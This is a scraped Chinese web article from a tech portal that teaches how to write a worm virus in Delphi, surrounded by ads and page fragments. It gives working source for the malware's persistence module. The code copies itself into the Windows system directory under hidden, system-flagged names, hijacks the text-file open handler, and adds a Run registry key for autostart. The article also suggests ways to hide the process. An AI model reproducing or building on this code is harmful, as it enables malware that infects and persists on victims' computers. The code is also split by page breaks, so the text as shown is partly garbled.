Yesky首页| 产品报价| 行情| 手机 | 数码 | 笔记本 | 台式机 | DIY硬件 | 外设 | 网络 | 数字家庭 | 评测 | 软件 | e时代 | 游戏 | 图片 | 壁纸 | 群乐 | 社区 | 博客 | 下载
天极搜索
北京 上海 广州 深圳
成都 重庆 沈阳 西安
用户
登录
·奥运必备软件超强搜罗
·用笔记本电脑看高清奥运
·ChinaJoy2008全程直播
·英特尔发布45纳米迅驰2
软件频道> 程序开发> Java VB VC Delphi C/C++ Web开发 微软专栏 移动 数据库 程序人生 软件工程 | 产品中心 下载 敏捷测试的最佳实
践
您现在的位置: 天极网 > 开发频道 > 用Delphi来编写蠕虫病毒浅析 9999种工作机会,1种搞定
!
全文 评论
用Delphi来编写蠕虫病毒浅析
2006-09-06 13:00 作者: 出处: 黑客风云 责任编辑:方舟
前言:
可能大家想到病毒,第一反应就是可能是用asm来编写,或
者是vbsript,而高级语言如delphi就好象不能编写一样,其实
事实并不是这个样子的,只要我们花一些时间,照样可以写出简
短而高效的病毒程序来,一点也不输那些用汇编写出来的程序
哦。
一个病毒程序首先要短小,我们的目标是经过压缩后控制在
30k以下。用过delphi的朋友都知道,如果在uses里面加入
forms,classes.....等就会使目标文件非常的大,所以,在我们的程序里,我们要尽可能的不用这些
库。我们只用windows,winsock,shellapi,sysutils(这个里面包含了一些常用的函数,比如对文件的操
作,对字符串的操作,如果用自己的程序来代替,目标文件会更加的小)
首先,我们知道,一个病毒程序一般都分下面三个模块:
①保护模块;
②感染模块;
③发作模块。
下面我们就从这三个模块开始,分别实现他们的代码。
一)保护模块。
一般,我们都是把自身拷贝到系统的一些目录里,比如%systemroot%。那么,我们首先要取得这些
特定的目录的路径sdk里面给我们提供了一个这样的函数GetSystemDirectory :
相关的函数还有GetWindowsDirectory可以得到%windows%的路径
得到了系统的目录后,第二步就是拷贝文件了。sdk为我们提供了一个函数copyfile :
T5750+2G+X3100+D刻无线神舟F5700仅4399
UINT GetSystemDirectory(
LPTSTR lpBuffer, // 存放返回的字符串的缓冲区
UINT uSize // 上面的缓冲去的长度
);
BOOL CopyFile(
LPCTSTR lpExistingFileName, // 源文件的路径
LPCTSTR lpNewFileName, // 目标文件的路径
BOOL bFailIfExists // 这是一个标志,如果目标文件已经存在,是否强制覆盖
);
eREAD让你免费用PSP看漫画
PSP不只能玩游戏、看电影、听音乐,现在还可以看漫
画小说,快来使用吧!
www.isoshu.com
IT专卖网—专业IT产品销售网站
在线销售:电脑、笔记本、电脑散件、数码相机、
MP3/4等。保证都是正品行货,价..
www.itzmw.com
上虞市风机设备厂-屋顶风机
本公司专业生产屋顶风机被评浙江省消防产品生产行业
先进企业、省级重点骨干乡镇..
www.sy-fengji.com
Bone Densitometers & DEXA
80+ Refurbished Systems In Stock Lunar Hologic
Norland Parts Service
www.BoneDensitometers.com
Windows Server 2008官网
微软Win Server 2008,超强安全稳定性 管理性,完美释放
服务器潜能,立即查看
www.microsoft.com/china/
RedMon 1.8 EE
New Redmon 1.8 Extended Edition Pre Release is
available here
is-foehr.com
.Net Serial Library
Windows & Window CE RS232 Zmodem, Xmodem,
Ymodem
www.wcscnet.com
关注此文读者还看过
·Delphi开发工具中如何访问数据库结构
·Delphi版模仿熊猫烧香病毒核心源码
·经验技巧:分享两条Delphi开发经验
·Delphi 中动态链接库(dll)的建立和使用
·熊猫烧香核心源码(Delphi模仿版本)
·Delphi中Hash
的使用方法
·在Delphi编程中使用C语言代码
·利用Delphi全面控制Windows任务栏
·用Delphi来编写蠕虫病毒浅析
网友关注 最新上市
编辑推荐
文章阅读排行 周排行
月排行
金山梦起飞的地方 求伯君:从程序员到CEO
从SOA到云计算 盘点计算机技术发展历程
通过SaaS模式提供SOA服务 浅谈SOA的SaaS化
专家预测:门户服务将成为SOA架构的关键
热点推荐
Page 1 of 4用Delphi来编写蠕虫病毒浅析-开发频道-病毒-天极网
2008-8-13http://dev.yesky.com/75/2563075.shtml
拷贝文件完毕后,我们来把这个文件设置为系统和隐藏,那么一般情况是看不见该文件的,除非选取
查看所有文件,以及显示受保护文件。 同样,介绍一个函数SetFileAttributes :
我们这里要设置为隐藏和系统,那么就为第二个参数传递
FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM
下面就是最重要的,让该文件开机自动运行,我们一般都是写注册表,首先用RegOpenKey函数来打
开一个键。
得到了HKEY后,就可以用regsetvalueex来向该键写具体的值了。
下面,我综合上面的说明来给出一个简短的例子:
BOOL SetFileAttributes(
LPCTSTR lpFileName, // 需要设置的文件的文件名
DWORD dwFileAttributes // 设置的值。
);
LONG RegOpenKey(
HKEY hKey, // 主键,比如HKEY_LOCAL_MACHINE
LPCTSTR lpSubKey, // 跟随的subkey
PHKEY phkResult // 存放函数返回这个打开的键的句柄
);
LONG RegSetvalueEx(
HKEY hKey, // 这个就是刚才我们得到的句柄
LPCTSTR lpvalueName, // 键名的地址
DWORD Reserved, // 一般设置为0
DWORD dwType, // 我们写的键的类型,字符串为REG_SZ
CONST BYTE *lpData, // 键值的地址
DWORD cbData // 写入的键值的长度
);
procedure SelfCopy;
var
Path,value:array [0..255] of char;
Hk:HKEY;
S:string;
begin
GetSystemDirectory(Path,256);
//取得系统的路径
s:=strpas(Path);
//转换成字符串
CopyFile(pchar(paramstr(0)),pchar(S+‘/ruin.exe‘),false);
CopyFile(pchar(paramstr(0)),pchar(S+‘/virus_ruin.exe‘),false);
//把自身拷贝到系统目录下为ruin.exe,virus_ruin.exe
SetFileAttributes(pchar(S+‘/ruin.exe
‘),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
SetFileAttributes(pchar(S+‘/virus_ruin.exe
‘),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
//设置刚才的两个文件为系统和隐藏
RegOpenKey(HKEY_CLASSES_ROOT,‘txtfile/shell/open/command‘,Hk);
value:=‘virus_ruin.exe %1‘;
RegSetvalueEx(Hk,‘‘,0,REG_SZ,@value,17);
//把virus_ruin.exe和文本文件关联
RegOpenKey(HKEY_LOCAL_MACHINE,‘Software/Microsoft/Windows/CurrentVersion/Run
SQL Server 2008新
特性新感觉技术专题
珊瑚虫QQ侵权事件追
踪专题报道
王者之战 解析2008
IBM SOA市场攻略
2007第二届中国共享
软件英雄榜隆重揭榜
Page 2 of 4用Delphi来编写蠕虫病毒浅析-开发频道-病毒-天极网
2008-8-13http://dev.yesky.com/75/2563075.shtml
我们看上面的这个程序,就完成了自我复制,和开机自动运行,并且关联了文本文件,这样,如果
run下的键被删除,那么他打开文本文件,蠕虫文件又被激活。
不过这个样子,你就需要在你的主程序里面进行判断,如果传递的参数等于1 ,则打开该文本,并
且进行自我保护。
如:
这里,我只是给出一个简单的例子来描述出一个大概的思路,很多地方还不完善,比如进程的隐
藏,你可以进行判断,如果是98你可以registerserverapplication如果你是用的2000,你可以做为服务
启动,或者是插入dll,或者是用求职信的方法,开机加载一个dll,或者是win.ini。
‘,Hk);
value:=‘ruin.exe‘;
RegSetvalueEx(Hk,‘ruin‘,0,REG_SZ,@value,8);
//设置开机自动运行ruin.exe
end;
begin
if paramcount=1 then
shellexecute(0,‘open‘,‘notepad.exe‘,pchar(paramstr(1)),nil,sw_normal);
//其他的代码
共1页。 1
网友评论 共有 0 条评论
欢迎评论!
发表评论 您还能输入300字
昵称:天极网友 发表评论
天极IT搜索 综合 网页 产品 图片 下载 社区
热门搜索:ThinkPad t60 诺基亚 迅雷 暴风影
购买扬天电脑,详情咨询8009993333转66 淘宝网购买
Bone Densitometers & DEXA
80+ Refurbished Systems In Stock Lunar
Hologic Norland Parts Service
Strong .NET Protection
Native code protection & licensing system for
all .NET assemblies!
天极流量联盟免费换 我顶一下 我要挑错 收藏到天极收藏夹 复制链接发给好友 加入收藏 打印 关闭
相关文章
·小技巧:如何用Delphi创建快捷方式
·Delphi开发工具中如何访问数据库结构
·Delphi版模仿熊猫烧香病毒核心源码
·经验技巧:分享教鮀elphi开发经验
·如何利用VFW在Delphi中开发视频捕获程序
·Delphi 中动态链接库(dll)的建立和使用
最新更新
·专家预测:门户服务将成为SOA架构的关键
·确保获得成功SOA IBM专家:好公司中的SOA
·通过SaaS模式提供SOA服务 浅谈SOA的SaaS化
·真实的SOA距我们还有多远 SOA从概念到行动
·企业系统管理体系 用J2EE架构企业级应用
·如何掌握现代企业管理 ERP工程师做什么?
欢迎订阅天极网RSS聚合资讯:http://www.yesky.com/index.xml
Page 3 of 4用Delphi来编写蠕虫病毒浅析-开发频道-病毒-天极网
2008-8-13http://dev.yesky.com/75/2563075.shtml
更多精彩资讯尽在天极IT搜索 天极搜索
比特网: 新闻 评论 通信 互联网 CB博客 企业博客 信息化 企业软件 解决
商用系统 服务器 数据调查
天极网: 产品库 经销商 商情 手机 数码 笔记本 台式机 硬件 外设 网络 数字家庭 评测 E时代 软件 游戏 下载
IT专家网: 数据库 移动计算 网络 安全 存储 Web服务 CIO 中小企业IT IT专家库 白皮书 IT专家网论坛 IT专家网博客
Impress中文站: IT技术库 个人电脑 数码影像 音频视频 手机·通讯 游戏先锋 新潮家电 西川和久专栏 小寺信良周刊
天极服务 | 关于我们 | 网站律师 | 电子杂志 | RSS订阅 | 友情合作 | 加入我们 | 网站地图 | MSN/QQ上看天极 设定天极网为首页
Copyright (C) 1999-2008 Chinabyte.com, All Rights Reserved 版权所有 天极网络
商务联系、网站内容、合作建议:010-82657868 在线提交意见反馈 Powered by 天极内容管理平台CMS4i
Page 4 of 4用Delphi来编写蠕虫病毒浅析-开发频道-病毒-天极网
2008-8-13http://dev.yesky.com/75/2563075.shtml